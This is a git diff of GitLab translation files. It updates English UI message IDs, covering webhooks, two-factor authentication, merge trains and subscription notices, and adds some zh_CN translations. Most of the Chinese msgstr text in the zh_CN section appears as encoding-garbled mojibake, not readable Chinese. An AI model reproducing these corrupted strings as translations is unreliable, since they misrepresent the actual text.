@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index 0fa7da6f42a..743f6e51712 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 14:15\n"
+"PO-Revision-Date: 2020-09-05 17:30\n"
msgid " %{start} to %{end}"
msgstr "从%{start}到%{end}"
@@ -54,14 +54,14 @@ msgstr[0] "于%d处有æ高"
msgid " or "
msgstr " 或 "
-msgid " or <!merge request id>"
-msgstr "或<!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr "或 <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " 或<#epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr "或引用 (例如: path/to/project!merge_request_id)"
@@ -69,9 +69,12 @@ msgstr "或引用 (例如: path/to/project!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "“%{ref}â€ä¸Šä¸å­˜åœ¨â€œ%{path}â€"
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
-msgstr[0] ""
+msgstr[0] "%d个已扫æçš„URL"
msgid "%d URL scanned"
msgid_plural "%d URLs scanned"
@@ -150,7 +153,7 @@ msgstr[0] "%d个组已选择"
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
+msgstr[0] "%då°æ—¶"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
@@ -162,7 +165,7 @@ msgstr[0] "%d 个议题"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
+msgstr[0] "此群组中的%d个议题"
msgid "%d issue selected"
msgid_plural "%d issues selected"
@@ -170,7 +173,7 @@ msgstr[0] "已选择%d个议题"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
-msgstr[0] ""
+msgstr[0] "使用标记æˆåŠŸå¯¼å…¥%d个议题"
msgid "%d layer"
msgid_plural "%d layers"
@@ -206,7 +209,7 @@ msgstr[0] "%d个个人项目将被删除,无法æ¢å¤ã€‚"
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
-msgstr[0] ""
+msgstr[0] "%d个以å‰åˆå¹¶çš„æ交"
msgid "%d project"
msgid_plural "%d projects"
@@ -230,11 +233,11 @@ msgstr[0] "%d个标签"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
-msgstr[0] ""
+msgstr[0] "%d个未分é…的议题"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
-msgstr[0] "%dæ¡æœªè§£å†³çš„主题"
+msgstr[0] "%d个未解决的主题"
msgid "%d vulnerability"
msgid_plural "%d vulnerabilities"
@@ -251,32 +254,35 @@ msgstr[0] "为æ高页é¢åŠ è½½é€Ÿåº¦åŠæ€§èƒ½ï¼Œå·²çœç•¥äº† %s 次æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
-msgid "%{author_link} wrote:"
+msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{author_link} wrote:"
+msgstr "%{author_link}写é“:"
+
msgid "%{authorsName}'s thread"
msgstr "%{authorsName}的主题"
msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
+msgstr "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close}将会把“由%{link_open}@johnsmith%{link_close}â€æ·»åŠ åˆ°åŽŸæœ¬ç”±johnsmith@example.com创建的所有议题和评论中,并将%{link_open}@johnsmith%{link_close}设为原本分é…ç»™johnsmith@example.com所有问题的å—让人。"
msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
+msgstr "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close}将会把\"由John Smith\"添加到原本由johnsmith@example.com创建的所有议题和评论中。"
msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
+msgstr "%{code_open}“johnsmith@example.comâ€ï¼šâ€œ@ johnsmithâ€%{code_close}将会把\"By johnsm...@example.com\"添加到原本由johnsmith@example.com创建的所有议题和评论中。 为ä¿æŠ¤ç”¨æˆ·çš„éšç§ï¼Œç”µå­é‚®ä»¶åœ°å€æˆ–用户å将被å±è”½ã€‚"
msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
+msgstr "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close}将会把“由%{link_open}johnsmith@example.com%{link_close}â€æ·»åŠ åˆ°åŽŸæœ¬ç”±johnsmith@example.com创建的所有议题和评论中。 为ä¿æŠ¤ç”¨æˆ·çš„éšç§ï¼Œç”µå­é‚®ä»¶åœ°å€æˆ–用户å默认将被å±è”½ã€‚如需显示完整邮件地å€ï¼Œå¯ä½¿ç”¨æ­¤é€‰é¡¹ã€‚"
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
-msgstr ""
